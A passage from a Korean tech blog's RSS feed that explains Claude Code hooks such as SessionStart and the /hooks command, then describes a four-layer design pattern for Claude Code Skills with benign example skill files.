&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;클로드 코드에서 &lt;b&gt;훅(Hook)&lt;/b&gt;은 특정 상황(이벤트)이 발생했을 때 시스템이 &lt;b&gt;자동으로 실행&lt;/b&gt;하도록 미리 설정해둔 명령어나 스크립트를 말합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;비유하자면?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&quot;현관문이 열리면(이벤트) &amp;rarr; 전등을 켜라(액션)&quot;는 스마트 홈의 센서 등과 같은 원리입니다!&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;자동화  :&lt;/b&gt; 일일이 명령하지 않아도 정해진 시점에 알아서 작동합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;일관성  :&lt;/b&gt; 새로운 세션을 시작할 때마다 프로젝트 정보를 클로드에게 자동으로 주입해 줍니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. 가장 많이 쓰이는 훅: &lt;code&gt;SessionStart&lt;/code&gt;  &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;클로드 코드를 실행할 때 가장 먼저 만나는 훅입니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;실행 시점:&lt;/b&gt; &lt;code&gt;claude&lt;/code&gt; 명령어를 입력해 새로운 세션을 시작할 때 &lt;b&gt;딱 한 번&lt;/b&gt; 실행됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;주요 활용 예시:&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;git status&lt;/code&gt;를 확인하여 현재 작업 상태 파악&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;최근 변경된 파일 목록 읽기&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;사용자가 이전에 &quot;기억해줘&quot;라고 했던 메모를 컨텍스트에 자동 로드&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3. 왜 훅을 사용해야 할까요?  &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가장 큰 이유는 &lt;b&gt;'끊김 없는 개발 환경'&lt;/b&gt; 때문입니다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;컨텍스트 유지:&lt;/b&gt; &quot;변경사항을 반영해줘&quot;라고 요청하면 클로드는 이를 훅 형태로 저장합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;자동 로드:&lt;/b&gt; 다음번에 클로드를 켰을 때, 이전 메모를 자동으로 읽어옵니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;설명 생략:&lt;/b&gt; &quot;지난번에 어디까지 했지?&quot;라고 다시 설명할 필요가 없어집니다! ✨&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;4. 훅의 관제센터, &lt;code&gt;/hooks&lt;/code&gt; 커맨드  ️&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;현재 내 클로드 코드에 어떤 자동화 규칙이 설정되어 있는지 궁금하다면 터미널에 &lt;code&gt;/hooks&lt;/code&gt;를 입력해 보세요.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 주요 기능&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;목록 확인:&lt;/b&gt; 등록된 모든 훅(예: SessionStart)을 한눈에 보여줍니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;상태 체크:&lt;/b&gt; 각 훅이 현재 작동 중인지(On/Off) 확인합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;내용 열람:&lt;/b&gt; 실행될 구체적인 스크립트 내용을 미리 볼 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  꿀팁: 수정했는데 적용이 안 된다면?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;훅은 보통 '시작될 때' 작동합니다. 수정 사항을 즉시 반영하고 싶다면, 현재 세션을 종료(&lt;code&gt;Ctrl+C&lt;/code&gt; 또는 &lt;code&gt;/exit&lt;/code&gt;)하고 &lt;b&gt;새로운 세션을 실행&lt;/b&gt;해 주세요!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;5. 한눈에 보는 주요 훅 리스트  &lt;/span&gt;&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;훅 이름&lt;/span&gt;&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;주요 역할&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;SessionStart&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;시작 시 &lt;code&gt;git status&lt;/code&gt; 확인, 할 일(TODO) 요약, 프로젝트 스택 브리핑&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Context Memory&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이전 세션의 메모나 변경 사항 자동 불러오기&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Env Check&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;개발 환경(Node, Java 버전 등)이 프로젝트와 맞는지 자동 체크&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  요약하자면!&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;훅은 클로드 코드에게 미리 건네준 &lt;b&gt;'자동 업무 체크리스트'&lt;/b&gt;입니다. 여러분의 개발 흐름을 방해하지 않고, 클로드가 항상 최신 문맥을 유지할 수 있게 도와주는 핵심 연결 고리죠.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;지금 바로 터미널에 &lt;code&gt;/hooks&lt;/code&gt;를 입력해 여러분의 자동화 목록을 확인해 보세요!  &lt;/span&gt;&lt;/p&gt;</description>
      <category>ClaudeCode/Claude Code 확장하기</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1122</guid>
      <comments>https://sundaland.tistory.com/1122#entry1122comment</comments>
      <pubDate>Fri, 10 Apr 2026 11:13:28 +0900</pubDate>
    </item>
    <item>
      <title>  실무에서 사용하는 Claude Code Skills 설계 패턴</title>
      <link>https://sundaland.tistory.com/1120</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실무에서 사용하는 Claude Code Skills 설계 패턴&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;i&gt;&amp;mdash; &amp;ldquo;AI를 개발팀의 일원으로 만드는 아키텍처&amp;rdquo;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  왜 &amp;lsquo;설계 패턴&amp;rsquo;이 중요한가?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;초보 단계에서는 이렇게 접근합니다:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;스킬 하나 만들어볼까?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;하지만 실무에서는 관점이 완전히 다릅니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❗ &lt;b&gt;&amp;ldquo;AI가 조직의 개발 규칙을 따르게 만드는 시스템&amp;rdquo;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;즉, Skills는 개별 파일이 아니라&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;&amp;ldquo;팀의 개발 철학 + 아키텍처 + 프로세스&amp;rdquo;를 코드화한 것&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전체 구조: 4계층 Skills 아키텍처&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;실제 기업에서는 보통 다음 4계층으로 나눕니다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1. Foundation Layer (기본 규칙)
2. Domain Layer (도메인 규칙)
3. Task Layer (작업 단위)
4. Workflow Layer (프로세스 흐름)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1️⃣ Foundation Layer (기본 규칙)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &amp;ldquo;이 프로젝트에서 코드 작성 기본 방식&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  역할&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;코딩 스타일&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;에러 처리 방식&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;네이밍 규칙&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;테스트 전략&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  예시: &lt;code&gt;01-dev-standards.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;## Description
All code must follow project coding standards

## Rules
- Use TypeScript strict mode
- Avoid any type
- Prefer functional components
- Error handling must use Result pattern

## Examples
// ❌ Bad
fetch('/api')

// ✅ Good
apiClient.get('/api')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;모든 작업에서 거의 항상 트리거됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;기본 DNA&amp;rdquo; 역할&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2️⃣ Domain Layer (도메인 규칙)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &amp;ldquo;이 비즈니스 영역은 이렇게 구현해&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  역할&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;주문, 결제, 유저 등 도메인 규칙&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;데이터 구조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;비즈니스 로직 패턴&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  예시: &lt;code&gt;04-order-domain.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;pf&quot;&gt;&lt;code&gt;## Description
Handles order-related business logic

## Rules
- Order status must follow state machine
- Cancellation must validate payment state
- Use OrderService for all order mutations

## Examples
cancelOrder(orderId) {
  validateCancelable(order)
  refundPayment(order)
  updateStatus(order, 'CANCELLED')
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;비즈니스 일관성&amp;rdquo;을 강제함&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;잘못된 로직을 AI가 스스로 피하게 만듦&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3️⃣ Task Layer (작업 단위)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &amp;ldquo;이 작업은 이렇게 구현해&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  역할&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;API 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;컴포넌트 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;상태관리 작성&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  예시: &lt;code&gt;03-rtk-query-api.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;nimrod&quot;&gt;&lt;code&gt;## Description
Creating API endpoints using RTK Query

## Rules
- Use createApi
- Separate endpoint per domain
- Use tagTypes for cache

## Examples
createApi({
  endpoints: (builder) =&amp;gt; ({
    getOrders: builder.query({...})
  })
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;가장 자주 사용됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;개발 생산성&amp;rdquo; 직접 상승&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;4️⃣ Workflow Layer (프로세스 흐름)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &amp;ldquo;이 작업을 할 때 전체 흐름은 이렇게 진행해&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  역할&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;기능 개발 프로세스&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;문서화 자동화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;테스트 &amp;rarr; 배포 흐름&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  예시: &lt;code&gt;07-feature-workflow.skill&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;## Description
Standard feature development workflow

## Steps
1. Define API contract
2. Implement backend
3. Generate frontend API hooks
4. Create UI
5. Write tests
6. Update documentation&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  핵심 특징&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;여러 스킬을 묶는 상위 개념&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;ldquo;개발 방식 자체&amp;rdquo;를 통제&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;⚙️ 실제 기업에서의 설계 전략&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전략 1: &amp;ldquo;스킬은 작게, 조합은 크게&amp;rdquo;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 안 좋은 예&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;frontend-all-in-one.skill&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 좋은 예&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;api.skill&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;component.skill&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;validation.skill&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  필요할 때 조합되도록 설계&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전략 2: 트리거는 &amp;ldquo;의도 기반&amp;rdquo;으로 설계&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;❌ 나쁜 트리거&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;코드 작성&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;✅ 좋은 트리거&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;&quot;API endpoint 추가&quot;
&quot;React 컴포넌트 생성&quot;
&quot;주문 취소 구현&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  &lt;b&gt;사용자의 자연어 요청과 맞아야 함&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전략 3: Example이 핵심이다&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Claude는 규칙보다 &lt;b&gt;예제에 더 강하게 영향받습니다&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  그래서 실무에서는:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;Rules 30%
Examples 70%&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  전략 4: &amp;ldquo;금지 규칙&amp;rdquo;을 명확히&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pf&quot;&gt;&lt;code&gt;## Anti-patterns
- Do not call API directly
- Do not mutate state directly&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  이게 없으면 AI는 계속 실수합니다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;  실전 운영 방식 (중요)&lt;/span&gt;&lt;/h4&gt;
